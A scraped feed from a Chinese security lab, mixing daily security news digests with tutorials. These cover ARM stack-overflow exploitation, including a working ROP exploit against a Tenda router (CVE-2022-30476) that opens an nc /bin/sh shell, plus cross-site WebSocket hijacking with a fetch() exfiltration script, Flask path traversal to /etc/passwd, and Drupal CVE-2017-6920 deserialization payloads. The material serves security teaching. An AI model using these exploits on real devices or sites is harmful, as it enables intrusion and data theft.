网络安全日报 2022年07月20日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、微软解决了 Azure Storage SDK 中的 Padding Oracle 漏洞 https://www.securityweek.com/microsoft-resolves-padding-oracle-vulnerability-azure-storage-sdk 2、广泛使用的 Micodus GPS跟踪器存在严重漏洞允许黑客远程禁用汽车 https://www.securityweek.com/unpatched-micodus-gps-tracker-vulnerabilities-allow-hackers-remotely-disable-cars 3、研究人员发现隐藏多年的macOS 间谍软件-"CloudMensis" https://www.securityweek.com/new-cloudmensis-macos-spyware-used-targeted-attacks 4、APT29 利用 Google Drive、Dropbox 来逃避检测 https://securityaffairs.co/wordpress/133409/apt/apt29-google-drive-dropbox.html 5、新的气隙攻击使用 SATA 电缆作为天线传输无线电信号 https://thehackernews.com/2022/07/new-air-gap-attack-uses-sata-cable-as.html 6、FBI 警告虚假加密货币应用程序正在欺骗数百万投资者 https://threatpost.com/fbi-warns-fake-crypto-apps/180245/ 7、印度旅游预订平台 Cleartrip 确认数据泄露 https://techcrunch.com/2022/07/18/cleartrip-data-breach-dark-web/ 8、Blitz.js中的原型污染漏洞可能导致远程代码执行 https://portswigger.net/daily-swig/prototype-pollution-in-blitz-js-leads-to-remote-code-execution 9、Accusoft ImageGear 中的安全问题可能导致内存损坏、代码执行 https://blog.talosintelligence.com/2022/07/accusoft-vuln-spotlight-.html 10、UNI token空投钓鱼攻击成功窃取Uniswap 800万美元 https://www.4hou.com/posts/MB9G
ARM PWN基础教程
一、前言 在CTF比赛中,我们所能接触到的大部分都是x86 x86_64架构的题目,而在我开始接触IOT方向的研究以后发现智能设备所用到的则是ARM和MIPS架构为主。本篇文章在介绍前置知识的基础上通过CTF的ARM架构类型题带读者更好的入门ARM PWN的世界。 二、前置知识 指令集 Intel和ARM之间的区别主要是指令集,Intel采用复杂指令集而ARM则是精简指令集,精简指令集通过减少每条指令的时钟周期来缩短执行时间可以更快的执行指令,但因为指令较少因此在实现功能时会显得比Intel冗长。 寄存器 寄存器是ARM架构的一个重点,在x86架构上指令可以直接对内存的数据进行操作,而在ARM架构中必须将内存的数据放入寄存器中再进行操作。而寄存器的数量取决于ARM的版本,而ARM32架构下共30个寄存器: R0在常规操作中可用于存储临时值,也可以用于存储函数的第一个参数或返回结果 在ARM架构中约定指定函数前四个参数存储在R0~R3寄存器中 R7寄存器在函数调用中负责存储系统调用号 R11寄存器即可以用来记录回溯信息,也可以当做局部变量来使用 R13寄存器SP(堆栈指针)指向堆栈的顶部 R14寄存器LR(链接寄存器)在进行函数调用时,LR寄存器内保存调用函数的下一条指令地址,用于被调用函数(子函数)结束工作后返回调用函数(父函数) R15寄存器PC(程序计数器)类似于X86架构下的EIP寄存器负责保存目标地址,与x86不同的点在于PC在ARM状态下存储当前指令+8的地址。 ARM指令 这里引用 eack师傅在ARM基础知识PPT中所列出指令的表格,在有了X86架构的基础后去看下面这些指令还是很好理解的。 指令功能指令功能MOV移动数据EOR按位异或MVN移动数据并取反LDR加载ADD加法STR存储SUB减法LDM加载多个MUL乘法STM存储多个LSL逻辑左移PUSH入栈LSR逻辑右移POP出栈ASR算术右移B跳转ROR右旋BLLink+跳转CMP比较BX分支跳转AND按位与BLXLinx+分支跳转ORR按位或SWI/SVC系统调用 这里需要单独介绍一下LDR和STR两个指令 LDR用于将某些内容从内存加载到寄存器中,例如LDR R2, [R0]从R0寄存器中存储的内存地址的值读入R2寄存器 STR用于将某些内容从寄存器存储到内存地址中,例如STR R2, [R1]从R2寄存器中将值存储到R1寄存器中的内存地址中 三、例题讲解 这里以jarvisoj 的 typo 例题进行讲解,题目可通过下方链接获得   https://github.com/ctf-wiki/ctf-challenges/blob/master/pwn/arm/jarvisOJ_typo/typo 查看题目保护,arm-32-little架构的静态链接文件未开启PIE和Canary保护,存在NX保护无法同时写入shellcode来getshell amalll@A-M:~/AM$ checksec pwn [*] '/home/amalll/AM/pwn'   Arch:     arm-32-little   RELRO:   Partial RELRO   Stack:   No canary found   NX:       NX enabled   PIE:     No PIE (0x8000) amalll@A-M:~/AM$ file pwn pwn: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=211877f58b5a0e8774b8a3a72c83890f8cd38e63, stripped 因为程序去除了符号表的关系,我们可以使用rizzo插件来恢复符号表,可以从程序中发现system和/bin/sh等关键信息地址,同时在跟随程序流程注意到一处很明显的栈溢出漏洞,getshell所需的条件都满足了。 这边的利用思路就是通过栈溢出漏洞覆盖程序的返回地址,在ARM架构下是覆盖要POP给PC寄存器的地址值,覆盖为一段可以同时控制R0和PC寄存器的GADGET,因为在ARM架构下函数约定R0寄存器作为函数的第一个参数存储,所以我们可以控制R0寄存器指向/bin/sh地址,PC寄存器指向system函数的地址,即可GetShell。 +-------------+ | "a" * 112   | +-------------+ | pop_gadget | <- return address +-------------+ |   /bin/sh   | +-------------+ |     0       | +-------------+ | system_addr | +-------------+ 思路确定后,接下来就是具体的实现步骤,首先是栈溢出的偏移是多少,这里我们可以使用QEMU配合gdb-multiarch来得到栈溢出的偏移,首先用qemu-user启动二进制程序 qemu-arm-static -g 1234 -L . ./pwn 然后启动gdb-multiarch,执行远程连接命令即可开始动调,后面的操作方式和x86架构的相同,使用cyclic生成过长字符然后通过溢出覆盖字符串确定偏移 最后确定偏移为112,这里需要注意的是在ARM架构中如果跳转的地址为奇数时会进入Thumb模式,进入Thumb模式后地址的最低位会从1变成0,所以如果通过此方法算出的地址值有错误时,可以通过查看$cpsr寄存器的低第六位值是否为1来判断程序是否发生模式切换,而此处程序并未发生模式切换,所以最终我们的偏移就是112。 确定了偏移后,还需要一个可以同时可以控制R0和PC的gadget,这里使用ropper在程序中搜索到如下的一段gadget 0x00020904: pop {r0, r4, pc}; EXP from pwn import * p = process(['qemu-arm-static',"-L", "./", "./pwn"]) pop_r0_r4_pc = 0x00020904 system = 0x000110B4 sh = 0x006C384 payload = 'a'*112+p32(pop_r0_r4_pc)+p32(sh)+p32(0)+p32(system) p.sendafter("Input ~ if you want to quit", "\n") p.send(payload) p.interactive() 四、实战演示 这边以CVE-2022-30476为例进行实战arm栈溢出利用演示,关于固件仿真的部分内容在复现Tenda 2018年的cve漏洞时就有所介绍这边就不过多赘述,这边还是以实际情况的漏洞复现为主。 web服务在获取firmwallEn参数时未进行边界检测直接将参数值通过strcpy函数赋予dest变量,从而造成栈溢出漏洞。 我们通过cyclic测得栈溢出偏移为44,这里就涉及到我们刚才所说的Thumb模式切换的问题,实际的溢出偏移应为48。随后我们可以使用vmmap命令查看qemu-user的内存布局,可以得到libc库的基地址。 这边需要特别说明一下,新版本的pwndbg中关于qemu的兼容性较差,所以只能采用旧版本的插件进行内存布局查看。 与我们在ctf例题中所阐述的ROP构造思路相同,这里也是需要寻找能同时控制r0和pc两个寄存器的gadget,很幸运的是此次寻找的gadget并未以\x00结尾 凑齐所有的利用条件后,编写EXP对webserver服务进行栈溢出攻击 import requests from pwn import * url = 'http://192.168.2.1/goform/SetFirewallCfg' libc = ELF("./lib/libc.so.0") base = 0xff592000 system = base+libc.sym['system'] pop_r0_pc = base+0x0003db80 # pop {r0, pc}; stack = 0xfffef2c0 pl = 'a'*48+p32(pop_r0_pc)+p32(stack)+p32(system) pl+= 'nc -lp 8888 -e /bin/sh;\x00' data = {'firewallEn':pl} requests.post(url, data=data) 推荐实验: https://www.yijinglab.com/expc.do?ce=682a3471-bce7-4d12-b9db-b25df36b1246
网络安全日报 2022年07月19日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、Juniper 修复了200多个第三方组件漏洞 https://www.securityweek.com/juniper-networks-patches-over-200-third-party-component-vulnerabilities 2、阿尔巴尼亚政府遭大规模网络攻击 https://securityaffairs.co/wordpress/133363/cyber-warfare-2/albania-cyber-attack.html 3、研究人员发布Windows NFS 远程代码执行漏洞分析报告 https://securityaffairs.co/wordpress/133355/security/cve-2022-30136-windows-nfs-rce.html 4、FPL 增加2FA缓解账号被黑客接管的安全风险 https://portswigger.net/daily-swig/fantasy-premier-league-football-app-introduces-2fa-to-tackle-account-takeover-hacks 5、黑客通过欺骗性提交元数据创建恶意GitHub存储库 https://www.hackread.com/hackers-spoof-commit-metadata-false-github-repositories/ 6、研究人员发现西门子解决方案中存在多个零日漏洞 https://www.fortinet.com/blog/threat-research/fortinet-researchers-discover-vulnerabilities-in-siemens-solutions 7、加拿大蒙莫伦西学院遭到网络攻击导致数据泄露 https://www.zataz.com/le-college-canadien-montmorency-sous-les-coups-dune-fuite-de-donnees/ 8、公安机关网安部门:重拳打击窃听窃照及偷拍偷窥违法犯罪 https://www.ithome.com/0/629/618.htm 9、 调查:智慧工厂未做好网络攻击应对准备 https://www.secrss.com/articles/44717 10、科技公司纷纷反对,英国网络安全法案搁置 https://www.cnbeta.com/articles/tech/1292687.htm
Flask send_file函数导致的绝对路径遍历
平时接触到的 python 项目并不多,对 python 的代码审计更是没有接触,偶然朋友发来了一个漏洞 Flask send_file函数导致的绝对路径遍历 ,感觉打开了新世界的大门,于是就以一个初学者的角度,进行复现分析一下。详情也可以根据 https://github.com/github/securitylab/issues/669 进行分析学习 send_file 的妙用 在以 flask 框架开发的系统中,为了直接实现用户访问某一个 URL 时就可以下载到文件,我们就使用 send_file 来实现 from flask import Flask from flask import send_file app = Flask(__name__) @app.route('/download') def downloadFile():    path = "test.txt"    return send_file(path) if __name__ == '__main__':    app.run() 我们看到 如此运行的效果是直接返回了文件的内容,浏览器并没有识别成一个文件下载下来。 要想让浏览器识别成为文件下载的话,只需要加上 as_attachment=True from flask import Flask from flask import send_file app = Flask(__name__) @app.route('/download') def downloadFile():    path = "test.txt"    return send_file(path, as_attachment=True) if __name__ == '__main__':    app.run()       当下载的文件名是中文时 from flask import Flask from flask import send_file app = Flask(__name__) @app.route('/download') def downloadFile():    path = "测试.txt"    return send_file(path, as_attachment=True) if __name__ == '__main__':    app.run()    Content-Disposition: https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Content-Disposition在常规的 HTTP 应答中,Content-Disposition 响应头指示回复的内容该以何种形式展示,是以内联的形式(即网页或者页面的一部分),还是以附件的形式下载并保存到本地。其可以是inline(默认值,所以可以不指定)或者是attachment,attachment表示附件,浏览器看到这个值一般会弹出一个保持文件的确认框,或者像chrome直接下载。    漏洞分析 漏洞的触发是在 send_file 中,我们跟进看一下 flask.helpers.send_file 继续跟进查看 werkzeug.utils.send_file 我们在本地构造一个简单的语句进行尝试 >>> import os.path >>> _root_path = "path/to/mySafeStaticDir" >>> path_or_file = "/../../../../../../../etc/passwd" >>> os.path.join(_root_path,path_or_file) '/../../../../../../../etc/passwd' 我们发现 os.path.join 使用不受信任的输入调用时不安全的。当 os.path.join 调用遇到绝对路径时,它会忽略在该点之前遇到的所有参数并开始使用新的绝对路径。当参数可控时,我们控制恶意参数输入绝对路径,os.path.join 会完全忽略静态目录。所以,当 os.path.join 来获取来自 flask.send_file 的不受信任的输入时,可能会目录遍历攻击。 漏洞复现 我们在本地构造简单的代码进行测试,获取从外部传入的参数 filename from flask import Flask, request from flask import send_file app = Flask(__name__) @app.route('/download') def downloadFile():    filename = request.args.get('filename')    return send_file(filename, as_attachment=True) if __name__ == '__main__':    app.run() 通过控制 filename 为绝对路径,就实现了目录穿越漏洞    总结反思 这个漏洞非常的有趣,漏洞的修复是可以使用flask.safe_join加入不受信任的路径或用flask.send_file调用替换flask.send_from_directory调用。 这个漏洞虽然很简单,但是在 github 上很多用 python 开发的项目都用了这个函数,如果不加以修复,会造成很大的危害。
网络安全日报 2022年07月18日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、'Mantis' DDoS 僵尸网络在一个月内攻击了1000多个组织 https://www.securityweek.com/powerful-mantis-ddos-botnet-hits-1000-organizations-one-month 2、Google Play将删除"应用程序权限列表"以添加新的"数据安全"部分 https://thehackernews.com/2022/07/google-removes-app-permissions-list.html 3、流行的 NFT 平台 Premint NFT 被窃取了 314 个 NFT https://securityaffairs.co/wordpress/133339/cyber-crime/crooks-stole-375k-from-premint-nft-it-is-one-of-the-biggest-nft-hacks-ever.html 4、Netwrix Auditor 应用程序中的严重漏洞允许任意代码执行 https://securityaffairs.co/wordpress/133310/hacking/netwrix-auditor-flaw.html 5、圣灵勒索软件 (H0lyGh0st) 与朝鲜黑客有关 https://securityaffairs.co/wordpress/133255/hacking/holy-ghost-ransomware-north-korea.html 6、黑客利用 Digium 电话软件中的漏洞攻击 VoIP 服务器 https://securityaffairs.co/wordpress/133293/hacking/digium-phones-attacks.html 7、软件供应商开始修补 Retbleed CPU 漏洞 https://www.securityweek.com/software-vendors-start-patching-retbleed-cpu-vulnerabilities 8、新的缓存侧通道攻击可以对目标在线用户进行去匿名化 https://thehackernews.com/2022/07/new-cache-side-channel-attack-can-de.html 9、美国DHS 发布关于 Log4j 漏洞和响应的报告,漏洞影响可能会持续数年 https://www.infosecurity-magazine.com/news/dhs-report-log4j-vlnerabilities/ 10、密码破解工具部署Sality恶意软件感染工业系统 https://www.bleepingcomputer.com/news/security/password-recovery-tool-infects-industrial-systems-with-sality-malware/
浅析websocket劫持
声明:本文仅限于技术讨论与分享,严禁用于非法途径。若读者因此作出任何危害网络安全行为后果自负,与本号及原作者无关。 WebSocket劫持漏洞导读 WebSocket协议技术 WebSocket是HTML5推出的新协议,是基于TCP的应用层通信协议,它与http协议内容本身没有关系。WebSocket 也类似于 TCP 一样进行握手连接,跟 TCP 不同的是,WebSocket 是基于 HTTP 协议进行的握手,它在客户端和服务器之间提供了一个基于单 TCP 连接的高效全双工通信信道 websocket是持久化的协议,而http是非持久的 当通信协议从 http://或 https://切换到 ws://或 wss://后,表示应用已经切换到了WebSocket协议通信状态 WebSocket连接的建立需要经过连接请求、握手、连接建立三个步骤,如下图   建立WebSocket连接 WebSocket连接通常是使用客户端JavaScript创建的 var ws = new WebSocket("wss://normal-website.com/chat"); //该`wss`协议建立在一个加密的TLS连接的WebSocket,而`ws`协议使用未加密的连接。 为了建立连接,浏览器和服务器通过HTTP执行WebSocket握手。浏览器发出WebSocket握手请求,如下所示: GET /chat HTTP/1.1 Host: normal-website.com Sec-WebSocket-Version: 13 Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w== Connection: keep-alive, Upgrade Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2 Upgrade: websocket 如果服务器接受连接,则它将返回WebSocket握手响应,如下所示: HTTP/1.1 101 Switching Protocols Connection: Upgrade Upgrade: websocket Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk= 此时,网络连接保持打开状态,并且可以用于向任一方向发送WebSocket消息。 请求和响应中 的Connection和Upgrade标头表示这是WebSocket握手 WebSocket安全漏洞 原则上,由于WebSocket涉及多个层面,任何与WebSocket有关的web安全漏洞都有可能出现 • 传输到服务器的用户的输入以不安全方式处理,出现SQL注入或XML外部实体注入等 • 通过WebSockets达到的某些盲洞(blind vulnerabilities)可能仅可使用带外(OAST)技术才能检测到 • 如果攻击者控制的数据通过WebSockets传输到其他应用程序用户,则可能导致XSS或其他客户端漏洞   本文主要讲探讨的是跨站WebSocket劫持漏洞-CSWSH 跨站WebSocket劫持漏洞 什么是跨站WebSocket劫持漏洞 Websocket带来的安全特性在一定程度上缓解了一些特性的攻击,但在日渐发展的攻击方式下,其相关漏洞也不断曝光,其中最常见的漏洞是CSWSH(Cross-Site WebSocket Hijacking)跨站WebSocket劫持漏洞 我们可以看见WebSocket的链接过程与http是极其相似的,WebSocket协议在握手阶段是基于HTTP的。它在握手期间是没有规定服务器如何验证客户端的身份,因此,服务器需要采用http客户端认证机制来辨明身份,如常见的cookie、http头基本认证等。这就导致了容易被攻击者利用恶意网页伪装用户的身份,与服务器建立WebSocket连接 CSWSH与跨站请求伪造CSRF的漏洞原理极其类似  相较于CSRF漏洞只能发送伪造请求,跨站WebSocket劫持漏洞却可以建立了一个完整的读/写双向通道,且不受同源策略的限制,这在很大意义上都造成了更大的危害和可操作性 跨站WebSocket劫持漏洞可能带来的影响 • 执行伪造成用户的未授权操作 与常规CSRF类似,攻击者可以伪造成用户利用生成的WebSocket通道以执行一些敏感操作 • 检索用户可访问的敏感数据 与常规CSRF不同的时,CSWSH是建立一个可双向交互的通道,当客户端向用户发送敏感数据时,攻击者可以将其拦截并记录得到敏感信息 跨站WebSocket劫持漏洞靶场演示 靶机环境 • 靶场  借助于burpsuite练兵场  https://portswigger.net/web-security/websockets/cross-site-websocket-hijacking/lab• 浏览器环境  edge浏览器 靶场解析 • 点击启动靶场    • 观察发现存在实时聊天界面,观察发现没有CSRF的令牌 • 将代码复制到body  <script>   var ws = new WebSocket('wss://your-websocket-url');   ws.onopen = function() {     ws.send("READY");   };   ws.onmessage = function(event) {     fetch('https://your-collaborator-url', {method: 'POST', mode: 'no-cors', body: event.data});   }; </script> • wss://your-websocket-url替换成目前url • https://your-collaborator-url替换成Burp Collaborator Client或自己搭建的Burp Collaborator 服务器 • 可以点击view exploit测试,也可以直接发给攻击方  • 然后在Burp Collaborator Client多poll几下 • 翻看一下得到账号密码  然后我选择再用dnslog验证一遍     确实可以带出数据,执行敏感操作 如何防范跨站WebSocket劫持漏洞 • 校验Origin头 • 双向将WebSocket传输数据视为不可信 • 对WebSocket握手信息进行加密保护 • 硬编码WebSockets终结点的URL 参考文章 • https://portswigger.net/web-security/websockets • https://zhuanlan.zhihu.com/p/347738547
网络安全日报 2022年07月15日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、日本电子游戏发行商万代南梦宫确认遭网络攻击 https://www.securityweek.com/japanese-video-game-publisher-bandai-namco-confirms-cyberattack 2、前 CIA 程序员因 2017 年将"Vault 7"泄露给维基解密被定罪 https://www.securityweek.com/cia-coder-convicted-massive-leak-us-hacking-tools 3、微软发布 macOS App 沙盒逃逸漏洞(CVE-2022-26706)的PoC https://securityaffairs.co/wordpress/133211/hacking/macos-sandbox-bypass-exploit.html 4、Cloudflare缓解的6 月最大HTTPS DDoS 攻击是由Mantis 僵尸网络发起的 https://securityaffairs.co/wordpress/133233/hacking/mantis-botnet-record-ddos-attack.html 5、SAP 修补 Business One 产品中的高危漏洞 https://www.securityweek.com/sap-patches-high-severity-vulnerabilities-business-one-product 6、研究人员开发并发布了 Hive 勒索软件解密工具 https://www.techtarget.com/searchsecurity/news/252522715/Researcher-develops-Hive-ransomware-decryption-tool 7、澳大利亚迪肯大学遭到黑客入侵导致学生信息泄露 https://blogs.deakin.edu.au/deakinlife/2022/07/12/deakin-has-been-targeted-in-a-cyber-attack-this-week-heres-what-happened-and-what-you-should-do/ 8、 QQ安全中心揭秘新的盗号手段:利用好友互助渠道与同情心 https://www.cnbeta.com/articles/tech/1291505.htm 9、Retbleed推测性执行攻击缓解代码已并入Linux内核 https://www.cnbeta.com/articles/tech/1291757.htm 10、WPS 回应删除用户本地文件事件,重申不会侵犯用户隐私 https://www.ithome.com/0/629/303.htm
网络安全日报 2022年07月14日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、联想修补了影响700多款型号笔记本电脑的 UEFI 代码执行漏洞 https://www.securityweek.com/lenovo-patches-uefi-code-execution-vulnerability-affecting-many-laptops 2、微软发布用于生成 SBOM (软件材料清单)的开源工具包 https://www.securityweek.com/microsoft-releases-open-source-toolkit-generating-sboms 3、新的推测性执行攻击-Retbleed影响英特尔和AMD处理器 https://www.securityweek.com/retbleed-new-speculative-execution-attack-targets-intel-amd-processors 4、微软警告针对 10,000 多个组织的大规模 AiTM 网络钓鱼攻击 https://thehackernews.com/2022/07/microsoft-warns-of-large-scale-aitm.html 5、研究人员发现了 ChromeLoader 浏览器劫持恶意软件的新变种 https://thehackernews.com/2022/07/researchers-uncover-new-variants-of.html 6、研究人员发现了 Qakbot 恶意软件逃避检测的新手段 https://thehackernews.com/2022/07/researchers-uncover-new-attempts-by.html 7、立陶宛能源公司Ignitis集团遭到大规模DDOS攻击 https://www.infosecurity-magazine.com/news/lithuanian-energy-ddos-attack/ 8、迪士尼Instagram和Facebook帐户被黑,并被攻击者发布恶意内容 https://www.infosecurity-magazine.com/news/disneylands-instagram-facebook-hack/ 9、VMware修补了11月披露的vCenter Server高危提权漏洞 https://www.bleepingcomputer.com/news/security/vmware-patches-vcenter-server-flaw-disclosed-in-november/ 10、AWS 修复了其Kubernetes服务中的身份验证漏洞 https://www.theregister.com/2022/07/12/authentication_bug_aws_kubernetes
【漏洞分析】Drupal 远程代码执行(CVE-2017-6920)
前几天在参加 FOFA-攻防挑战赛时,遇到了 Drupal 的盲盒漏洞环境,最终确定漏洞为 CVE-2017-6920 ,但是还是无法 getflag ,因为网上相关参考文章并不是很多,大多都只是简单的复现了,于是就想着对这个漏洞进行一个详细的分析。 漏洞描述 环境搭建 环境的搭建,我们可以选择 p神 的 https://github.com/vulhub/vulhub/tree/master/drupal/CVE-2017-6920 上的环境,我们也可以利用 https://vulfocus.cn/ 的在线环境,或者将镜像拉取下来本地启动。 因为 p 神的环境还需要再进行配置 yaml ,为了方便,我们这里就选择 vulfocus 的镜像来进行复现学习    docker pull vulfocus/drupal-cve_2017_6920:latest docker ps    访问随机生成的端口 49156 http://127.0.0.1:49156/ 漏洞复现 访问登录界面 http://127.0.0.1:49156/user/login 输入账号密码 admin:admin123 登录成功 登陆成功后访问路由 /admin/config/development/configuration/single/import 填写相关参数   !php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}" 点击 import 触发漏洞 漏洞分析 漏洞存在于 drupal 8.3.3 所以我们下载 存在漏洞的版本 drupal 8.3.3 和修复的版本 drupal 8.3.4 进行对比,发现漏洞位于 core\lib\Drupal\Component\Serialization\YamlPecl.php 我们看到修改的位置有这么一句 // We never want to unserialize !php/object. 就大概可以推测出是在这个地方,以!php/object 为开头时 会产生反序列化漏洞    为了方便进行调试,所以我们换一下 docker 启动时的命令,方便启动后进行 php 远程调试,在配置调试环境时出现了各种问题,本来是在本地搭建 docker 环境进行调试的,但是一直没有成功,所以就采用在虚拟机中搭建 docker 环境,采用远程调试。    docker run -itd -p 80:80 vulfocus/drupal-cve_2017_6920:latest wget https://xdebug.org/files/xdebug-2.5.5.tgz docker cp xdebug-2.5.5.tgz 30:/xdebug-2.5.5.tgz docker exec -it 30 /bin/bash cd / tar xvf xdebug-2.5.5.tgz cd xdebug-2.5.5 phpize find / -name php-config `/etc/alternatives/php-config`   `/usr/bin/php-config`   `/var/lib/dpkg/alternatives/php-config` ./configure --enable-xdebug --with-php-config=/usr/bin/php-config make && make install ==xdebug 被安装到了 /usr/lib/php5/20121212/== find / -name php.ini `/etc/php5/cli/php.ini`   `/etc/php5/apache2/php.ini` vim /etc/php5/apache2/php.ini ==修改 php.ini 文件== shift + g ==定位到最后一行== echo "<?php phpinfo(); ?>" > /var/www/html/phpinfo.php sudo service apache2 restart       修改php.ini配置文件,在文件中追加以下内容 [Xdebug] zend_extension=/usr/lib/php5/20121212/xdebug.so;指定Xdebug扩展文件的路径 xdebug.remote_enable=1 ;是否开启远程调试 xdebug.remote_handler=dbgp ;指定远程调试的处理协议 xdebug.remote_mode=req ;可以设为req或jit,req表示脚本一开始运行就连接远程客户端,jit表示脚本出错时才连接远程客户端。 xdebug.remote_host=192.168.222.1 ;指定远程调试的主机名(安装phpstorm的主机ip) xdebug.remote_port=9001 ;指定远程调试的端口号 xdebug.idekey="PHPSTORM" ;指定传递给DBGp调试器处理程序的IDE Key xdebug.remote_enable=on; [Xdebug] zend_extension=/usr/lib/php5/20121212/xdebug.so; xdebug.remote_enable=1; xdebug.remote_handler=dbgp; xdebug.remote_mode=req; xdebug.remote_host=192.168.222.1; xdebug.remote_port=9001; xdebug.idekey="PHPSTORM"; 访问 http://192.168.222.129/phpinfo.php 发现 xdebug 被安装成功    先将代码拷贝出来 docker cp 30:/var/www/html html 利用 PHPSTROM 打开项目代码 File -> Settings -> Languages & Frameworks -> PHP -> Debug 配置 Servers 此处要注意,需要直接指定到网站的目录位置 配置PHP Web Application 配置完成后打开右上角的电话按钮 打开浏览器的插件 Xdebug helper    在 phpinfo 处加载断点,并访问 http://192.168.222.129/phpinfo.php成功加载到断点 之前也配置过 PHP 的远程调试环境,但是在 Docker 里面调试的时候,配置了很久的调试环境,最后才成功,中间出了大大小小无数的问题,遇到的最大的问题是最开始端口一直显示被占用状态,因为我启动 docker 时的命令是 docker run -itd -p 80:80 -p 9001:9001 vulfocus/drupal-cve_2017_6920:latest 我一直认为说这个 9001 端口也要对外映射出来,但是我在调试时发现一直提示端口被占用,百思不得其解,采用百度大法看到了这么一句 不要在docker-compose 中添加 9000 端口 ,我灵机一动,将 -p 9001:9    正式开始调试分析 漏洞的最终触发位置是在 core/lib/Drupal/Component/Serialization/YamlPecl.php::decode 对传入的 参数 $raw 如果可控的话,如果使用!php/object,那么yaml_parse将会以反序列化(unserialize)的形式来进行处理字符串。 我们看在哪里可以调用 YamlPecl.php::decode core/lib/Drupal/Component/Serialization/Yaml.php::decode decode 函数中 调用了静态 getSerializer 函数    如果存在 yaml 扩展,$serializer 就使用 YamlPecl 类,之后会调用 YamlPecl 类中的 decode 函数; 如果不存在 yaml 扩展,$serializer 就使用 YamlSymfony 类,之后会调用 YamlSymfony 类中的 decode 函数。 目前的环境是已经安装了 yaml 扩展了,所以我们只需要寻找,可控输入的 Yaml::decode core/modules/config/src/Form/ConfigSingleImportForm.php::validateForm 如此我们就已经确定了漏洞的触发位置,以及漏洞的入口点,但是距离漏洞的利用成功还差一个 payload 我们已经知道这个漏洞是一个反序列化漏洞,我们就要找出这个系统中存在的反序列化链,针对这个漏洞有两条利用链路,任意命令执行以及任意文件写入 任意命令执行 html\vendor\guzzlehttp\psr7\src\FnStream.php 反序列化这个类造成任意无参数函数执行 <?php namespace GuzzleHttp\Psr7; class FnStream {  public function __construct(array $methods) {    $this->methods = $methods;    // Create the functions on the class    foreach ($methods as $name => $fn) {      $this->{'_fn_' . $name} = $fn;   } }  public function __destruct() {    if (isset($this->_fn_close)) {      call_user_func($this->_fn_close);   } } } $fn = new FnStream(array('close'=>'phpinfo')); echo(serialize($fn)) ?> 序列化字符串加上yaml的!php/object !php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:7:\"methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}" 任意文件写入 html\vendor\guzzlehttp\guzzle\src\Cookie\FileCookieJar.php 反序列化这个类达到任意文件写入的效果,但是因为这个系统启动并不是 root 权限启动,所以只有在 tmp 目录下写文件的权限 <?php require __DIR__.'/vendor/autoload.php'; use GuzzleHttp\Cookie\FileCookieJar; use GuzzleHttp\Cookie\SetCookie; $Limerence = new FileCookieJar('/tmp/shell.txt'); $payload = '1'; $data=array(    'Name' => "Limerence",    'Value' => "Limerence",    'Domain' => $payload,    'Expires' => time() ); $Limerence->setCookie(new SetCookie($data)); echo(addslashes(serialize($Limerence))); !php/object "O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":4:{s:41:\"\0GuzzleHttp\\Cookie\\FileCookieJar\0filename\";s:14:\"/tmp/shell.txt\";s:52:\"\0GuzzleHttp\\Cookie\\FileCookieJar\0storeSessionCookies\";b:0;s:36:\"\0GuzzleHttp\\Cookie\\CookieJar\0cookies\";a:1:{i:0;O:27:\"GuzzleHttp\\Cookie\\SetCoo    漏洞修复 根据对比官方对 drupal 8.3.4 的修补,我们得出 针对低于版本 drupal 8.3.4 的代码中 在 core\lib\Drupal\Component\Serialization\YamlPecl.php 的 decode 函数修改为 public static function decode($raw) {    static $init;    if (!isset($init)) {      ini_set('yaml.decode_php', 0);      $init = TRUE;   }    if (!trim($raw)) {      return NULL;   }    set_error_handler([__CLASS__, 'errorHandler']);    $ndocs = 0;    $data = yaml_parse($raw, 0, $ndocs, [      YAML_BOOL_TAG => '\Drupal\Component\Serialization\YamlPecl::applyBooleanCallbacks',   ]);    restore_error_handler();    return $data; }    总结反思 之前也实现过远程调试,但是对 docker 内的系统进行调试还没有做过,不对的试错过程中,也对 docker 进一步加深的认知与了解。
网络安全日报 2022年07月13日
